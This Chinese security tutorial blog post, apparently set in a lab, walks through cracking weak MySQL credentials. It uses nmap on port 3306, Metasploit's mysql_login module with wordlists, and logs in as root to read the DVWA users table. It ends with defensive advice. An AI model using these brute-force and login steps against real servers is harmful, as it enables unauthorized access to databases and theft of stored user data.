当前位置:网站首页>6-21漏洞利用-mysql弱口令破解
6-21漏洞利用-mysql弱口令破解
2022-07-29 02:08:00 【山兔1】

mysql介绍
Mysql是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于Oracle旗下产品。Mysql 是最流行的关系型数据库管理系统之一,在WEB应用方面,mysql是最好的RDBMS(Relational Database Management System,关系数据库管理系统)应用软件。
每一段内容存储到表当中,多张表进行对应的组合,存储对应的数据,内键、外键、唯一的索引,不同的值,都有对应的联系,这就是我们关系数据库的大概
Mysql是一种关系数据库管理系统,关系数据库将数据保存在不同的表中,而不是将所有数据存放在一个大仓库内,非关系型数据库,mydbs、mongdb,把数据存储到大的内存当中,而不是存储到大的表当中,他们没有表的概念,存储到表当中,是提高了搜索的速度,并且有更强的灵活性
我们可以在mysql官网,查看mysql的信息:https://www.mysql.com/
探测目标mysql
使用nmap -sV -p 3306 IP地址,默认mysql是运行在3306的,探测目标mysql版本信息。

nmap -sV -p 3306 192.168.42.137

msf破解mysql密码
使用msf下的mysql_login模块破解mysql登录用户名和密码

msfconsole
use auxiliary/scanner/mysql/mysql_login
show options

set rhosts 192.168.1.105
show options

set user_file /home/kali/Desktop/user.txt
set pass_file /home/kali/Desktop/PASS.txt

show options
run

当我们拿到mysql用户名密码之后,我们就可以登录到mysql客户端,来查看数据库当中,存储的数据
登录数据库查看数据
使用mysql -h IP地址 -u root 登录数据库系统
mysql -h 192.168.1.105 -u root
show databases;

use dvwa;
show tables;
select * from users;

以上就是我们破解用户名,登录数据库,查看数据
我们之所以能够破解成功,是因为我们的数据库用户名过于简单,用户名使用了root这个用户,以及密码是空密码,或者是其它简单密码,都是很容易被破解出来的,这个时候,我们需要防御这样的探测,就需要将用户名密码,设计的比较复杂,使得不是那么容易被破解,以及可以设计阈值,当我们错误三次登录之后,就会封锁对应的IP,限制登录十分钟,这样就不能很快速的破解,甚至无法破解,我们可以修改mysql默认端口,3306,将它设计成其它端口,迷惑我们的探测,同时,我们不允许mysql外联,只能通过127.0.0.1进行本地连接,否则不进行连接,或者指定具体的IP地址,进行连接,不能任意的IP都能连接到mysql上
边栏推荐
- “12306”的架构到底有多牛逼?
- Multimodal Unsupervised Image-to-Image Translation多通道无监督图像翻译
- Split, an avalanche caused by connection pool parameters
- ES6事件绑定(v-on用法)
- XSS range (II) xss.haozi
- Source code and display of 18 classic programs in C language vs2019
- Altium designer outputs Gerber and other production documents
- Kubesphere multi node installation
- 7/28 Gauss elimination to solve linear equations + Gauss elimination to solve XOR linear equations + find the combination number II
- 矿山开采虚拟现实vr安全培训提升员工警惕性和防护意识
猜你喜欢

MQTT例程

6 years of testing experience, teaching you how to test ~ how to control the project

STM32F103 learn the steps and template fool tutorial of 1-keil5 project establishment

I want to talk about high concurrency.

Mqtt routine

FPGA刷题——存储器(RAM和FIFO的Verilog实现)

CUDA details GPU architecture

ROCBOSS开源微社区轻论坛类源码

Split, an avalanche caused by connection pool parameters

九宫格心形拼图小程序源码/带流量主微信小程序源码
随机推荐
Driverless obstacle avoidance technology
In depth analysis - Pretreatment
What are the TCP retransmission mechanisms?
九宫格心形拼图小程序源码/带流量主微信小程序源码
Production scheme and advantages of online 3D digital exhibition hall
如何把thinkphp5的项目迁移到阿里云函数计算来应对流量洪峰?
Exploration and practice of network security vulnerability management
Time for white horses to pass the gap
Explain asynchronous tasks in detail: task status and lifecycle management
一文理解分布式开发中的服务治理
Explanation of engineering economics terms
virsh console连接失败问题
童年的快乐时光
多年前的回忆
VR safety training of mine mining virtual reality improves employees' vigilance and protection awareness
Understand the evolution of redis architecture in one article
STM32F103 learn the steps and template fool tutorial of 1-keil5 project establishment
Servlet三种实现方式
远离才会思念
Explain the four asynchronous solutions of JS in detail: callback function, promise, generator, async/await